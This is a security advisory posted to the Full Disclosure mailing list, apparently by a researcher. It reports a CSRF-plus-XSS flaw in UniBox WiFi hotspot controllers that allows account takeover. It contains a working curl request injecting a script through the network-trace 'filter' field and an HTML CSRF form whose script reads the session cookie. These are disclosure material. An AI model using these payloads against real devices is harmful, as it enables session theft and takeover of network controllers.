[FD] KSA-Dev-008: Authenticated XSRF leads to complete account takeover in all UNIBOX WiFi Hotspot Controller

Kaustubh via Fulldisclosure Sun, 07 Feb 2021 09:34:55 -0800

```
=====================================================
Authenticated XSRF leads to complete Account Takeover
=====================================================


. contents:: Table Of Content

Overview
========

Title:- Authenticated XSRF leads to complete account takeover in all
UNIBOX WiFi Hotspot Controller.
CVE ID:- Not -Yet - Assign
Author: Kaustubh G. Padwad
Vendor: Wifi-soft (https://www.wifi-soft.com/)
Products:
     1.Unibox SMB
     2.UniBox - Enterprise Series
     3.UniBox - Campus Series

Tested Version: :Controller Model : U-50 | UniBox 2.4 (Respetive for others)
Severity: High--Critical

Advisory ID
============
KSA-Dev-008


About the Product:
==================
UniBox is one of the most innovative and reliable Hotspot Controllers in
the market today. You can install UniBox to manage any sized WiFi
network without having to replace any existing infrastructure. With
UniBox, you don't need any other solution for managing WiFi access. It
comes packed with features so just one box is enough to handle all the
functions of WiFi hotspots.

Description:
============
An issue was discovered on Unibox U-50 with version Unibox 2.4 and
poterntially respected all other  devices. There is CSRF via
/tools/network-trace with resultant XSS due to  lack of csrf token and
user input validation.

Additional Information
======================
The web interface of the SMB Unibox  does not validate the csrftoken,and
the /tools/network-trace  page does not properly sanitize the
user input which leads to xss, By combining this two attack we can form
the XSRF request which leads to complete account takeover using XSRF.

[Vulnerability Type]
====================
Cross Site Request Forgery (CSRF)

How to Reproduce: (POC):
========================
curl -i -s -k  -X $'POST' \
    -H $'Host: 'IP-OF-Device' -H $'User-Agent: Mozilla/5.0 (X11; Linux
x86_64; rv:68.0) Gecko/20100101 Firefox/68.0' -H $'Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H
$'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate'
-H $'Referer: http://IP-OF-Device/tools/network-trace' -H
$'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length:
130' -H $'Connection: close' -H $'Cookie:
PHPSESSID=86i9fsqxxxxxxxxxxxxxx' -H $'Upgrade-Insecure-Requests: 1' \
    -b $'PHPSESSID=86i9fsq22vi4vxxxxxxxxxxxx' \
    --data-binary
$'port=lan&duration=600&noofpackets=100&sizelimit=128&filter=%22%2F%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&formsubmit=Start+Trace'
\
    $'http://ip-of-device/tools/network-trace'

Vulnerable Pages to XSS :- http://xxx.xxx.xx.xx/authentication/list_users

http://xxx.xxx.xx.xx/authentication/list_byod?usertype=raduser
               http://xxx.xxx.xx.xx/reports/dhcp_leases
               http://xxx.xxx.xx.xx/go?rid=202
CSRF POC
--------

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://ip-of-device/tools/network-trace"; method="POST">
      <input type="hidden" name="port" value="lan" />
      <input type="hidden" name="duration" value="600" />
      <input type="hidden" name="noofpackets" value="100" />
      <input type="hidden" name="sizelimit" value="128" />
      <input type="hidden" name="filter"
value=""/><script>alert(document.cookie)</script>" />
      <input type="hidden" name="formsubmit" value="Start Trace" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


[Affected Component]
/tools/network-trace and CSRF Vulnerabilities,

------------------------------------------

[Attack Type]
Remote

------------------------------------------

[Impact Code execution]
True

------------------------------------------

[Attack Vectors]
once victim open the crafted url the device will get compromise

Mitigation
==========


Disclosure:
===========
07-JAN-2020 Discoverd the Vulnerability, and asked for conact details.
08-JAN-2020 Reported via contact form.
20-JAN-2020 Vendor responded and given a call
23-JAN-2021 Requested Update from Vendor
xxxxxxxxxxxx No Communication Recived further
```

[Vendor of Product]
WiF-Soft (http://https://www.wifi-soft.com/company/about.php)

credits:
========
* Kaustubh Padwad
* Information Security Researcher
* kingkaust...@me.com
* https://s3curityb3ast.github.io/
* https://twitter.com/s3curityb3ast
* http://breakthesec.com
* https://www.linkedin.com/in/kaustubhpadwad

- Previous message
- View by thread
- View by date
- Next message

Reply via email to

Kaustubh via Fulldisclosure

The Mail Archive

Search the site Search fulldisclosure

- The Mail Archive home
- fulldisclosure - all messages
- fulldisclosure - about the list
- Expand
- Previous message
- Next message

- The Mail Archive home
- Add your mailing list
- FAQ
- Support
- Privacy
- 57798d9c-1fdc-9cab-ee49-03f2be256e8d@me.com